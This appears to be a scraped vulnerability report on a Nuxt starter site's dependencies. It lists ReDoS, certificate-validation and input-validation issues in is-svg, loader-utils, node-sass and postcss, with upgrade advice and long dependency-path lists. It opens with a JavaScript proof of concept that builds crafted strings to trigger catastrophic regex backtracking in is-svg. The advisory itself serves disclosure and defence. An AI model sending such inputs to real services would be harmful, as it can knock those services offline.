const isSvg = require('is-svg');
function build_attack1(n) {
var ret = '<!'
for (var i = 0; i < n; i++) {
ret += 'DOCTYPE'
}

return ret+"";
}
for(var i = 1; i <= 50000; i++) {
   if (i % 10000 == 0) {
       var time = Date.now();
       var attack_str = build_attack1(i);
       isSvg(attack_str);

       var time_cost = Date.now() - time;
       console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
 }
}

//2) 2nd ReDoS caused by ? the first sub-regex  \s*  in `entityRegex`.
function build_attack2(n) {
var ret = ''
for (var i = 0; i < n; i++) {
ret += ' '
}

return ret+"";
}
for(var i = 1; i <= 50000; i++) {
   if (i % 10000 == 0) {
       var time = Date.now();
       var attack_str = build_attack2(i);
       isSvg(attack_str);

       var time_cost = Date.now() - time;
       console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
 }
}


//3rd ReDoS caused by the sub-regex \s+\S*\s*  in `entityRegex`.
function build_attack3(n) {
var ret = '<!Entity'
for (var i = 0; i < n; i++) {
ret += ' '
}

return ret+"";
}
for(var i = 1; i <= 50000; i++) {
   if (i % 10000 == 0) {
       var time = Date.now();
       var attack_str = build_attack3(i);
       isSvg(attack_str);

       var time_cost = Date.now() - time;
       console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
 }
}

//4th ReDoS caused by the sub-regex \S*\s*(?:"|')[^"]+  in `entityRegex`.
function build_attack4(n) {
var ret = '<!Entity '
for (var i = 0; i < n; i++) {
ret += '\''
}

return ret+"";
}
for(var i = 1; i <= 50000; i++) {
   if (i % 10000 == 0) {
       var time = Date.now();
       var attack_str = build_attack4(i);
       isSvg(attack_str);

       var time_cost = Date.now() - time;
       console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
 }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade is-svg to version 4.3.0 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: loader-utils
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › html-webpack-plugin@2.30.1 › loader-utils@0.2.17
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › html-webpack-plugin@2.30.1 › loader-utils@0.2.17
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the resourcePath variable in interpolateName.js.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade loader-utils to version 1.4.2, 2.0.4, 3.2.1 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: loader-utils
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › html-webpack-plugin@2.30.1 › loader-utils@0.2.17
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › html-webpack-plugin@2.30.1 › loader-utils@0.2.17
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in interpolateName function via the URL variable.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade loader-utils to version 1.4.2, 2.0.4, 3.2.1 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

medium severity

Improper Certificate Validation

  • Vulnerable module: node-sass
  • Introduced through: node-sass@4.14.1

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1
    Remediation: Upgrade to node-sass@7.0.0.

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Improper Certificate Validation. Certificate validation is disabled by default when requesting binaries, even if the user is not specifying an alternative download path.

Remediation

Upgrade node-sass to version 7.0.0 or higher.

References

Improper Certificate Validation vulnerability report

medium severity

Improper Input Validation

  • Vulnerable module: postcss
  • Introduced through: nuxt@1.4.5, @nuxtjs/axios@3.1.4 and others

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss@6.0.23
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › autoprefixer@7.2.6 › postcss@6.0.23
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-import@11.1.0 › postcss@6.0.23
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-loader@2.1.6 › postcss@6.0.23
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-url@7.3.2 › postcss@6.0.23
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › vue-loader@13.7.3 › postcss@6.0.23
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss@6.0.23
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › autoprefixer@7.2.6 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › autoprefixer@7.2.6 › postcss@6.0.23
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › icss-utils@2.1.0 › postcss@6.0.23
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › postcss-modules-extract-imports@1.2.1 › postcss@6.0.23
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › postcss-modules-local-by-default@1.2.0 › postcss@6.0.23
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › postcss-modules-scope@1.1.0 › postcss@6.0.23
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › postcss-modules-values@1.3.0 › postcss@6.0.23
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › pixrem@4.0.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › pleeease-filters@4.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-apply@0.8.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-attribute-case-insensitive@2.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-function@4.1.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-gray@4.1.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-hex-alpha@3.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-hsl@2.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-hwb@3.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-rebeccapurple@3.1.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-rgb@2.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-rgba-fallback@3.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-custom-media@6.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-custom-properties@6.3.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-selector-matches@3.0.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-custom-selectors@4.0.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-font-family-system-ui@3.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-font-variant@3.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-image-set-polyfill@0.3.5 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-initial@2.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-media-minmax@3.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-nesting@4.2.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-pseudo-class-any-link@4.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-pseudoelements@5.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-replace-overflow-wrap@2.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-selector-not@3.0.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-import@11.1.0 › postcss@6.0.23
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-loader@2.1.6 › postcss@6.0.23
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-url@7.3.2 › postcss@6.0.23
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › vue-loader@13.7.3 › postcss@6.0.23
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › autoprefixer@7.2.6 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › icss-utils@2.1.0 › postcss@6.0.23
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › postcss-modules-extract-imports@1.2.1 › postcss@6.0.23
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › postcss-modules-local-by-default@1.2.0 › postcss@6.0.23
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › postcss-modules-scope@1.1.0 › postcss@6.0.23
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › postcss-modules-values@1.3.0 › postcss@6.0.23
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › pixrem@4.0.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › pleeease-filters@4.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-apply@0.8.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-attribute-case-insensitive@2.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-function@4.1.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-gray@4.1.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-hex-alpha@3.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-hsl@2.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-hwb@3.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-rebeccapurple@3.1.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-rgb@2.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-rgba-fallback@3.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-custom-media@6.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-custom-properties@6.3.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-custom-selectors@4.0.1 › postcss-selector-matches@3.0.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-selector-matches@3.0.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-custom-selectors@4.0.1 › postcss@6.0.23
